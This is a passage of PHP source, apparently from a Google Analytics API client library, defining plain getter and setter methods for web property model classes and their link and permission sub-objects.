= $industryVertical; } public function getIndustryVertical() { return $this->industryVertical; } public function setInternalWebPropertyId($internalWebPropertyId) { $this->internalWebPropertyId = $internalWebPropertyId; } public function getInternalWebPropertyId() { return $this->internalWebPropertyId; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setLevel($level) { $this->level = $level; } public function getLevel() { return $this->level; } public function setName($name) { $this->name = $name; } public function getName() { return $this->name; } public function setParentLink(Google_Service_Analytics_WebpropertyParentLink $parentLink) { $this->parentLink = $parentLink; } public function getParentLink() { return $this->parentLink; } public function setPermissions(Google_Service_Analytics_WebpropertyPermissions $permissions) { $this->permissions = $permissions; } public function getPermissions() { return $this->permissions; } public function setProfileCount($profileCount) { $this->profileCount = $profileCount; } public function getProfileCount() { return $this->profileCount; } public function setSelfLink($selfLink) { $this->selfLink = $selfLink; } public function getSelfLink() { return $this->selfLink; } public function setUpdated($updated) { $this->updated = $updated; } public function getUpdated() { return $this->updated; } public function setWebsiteUrl($websiteUrl) { $this->websiteUrl = $websiteUrl; } public function getWebsiteUrl() { return $this->websiteUrl; } } class Google_Service_Analytics_WebpropertyChildLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_WebpropertyParentLink extends Google_Model { public $href; public $type; public function setHref($href) { $this->href = $href; } public function getHref() { return $this->href; } public function setType($type) { $this->type = $type; } public function getType() { return $this->type; } } class Google_Service_Analytics_WebpropertyPermissions extends Google_Collection { public $effective; public function setEffective($effective) { $this->effective = $effective; } public function getEffective() { return $this->effective; } }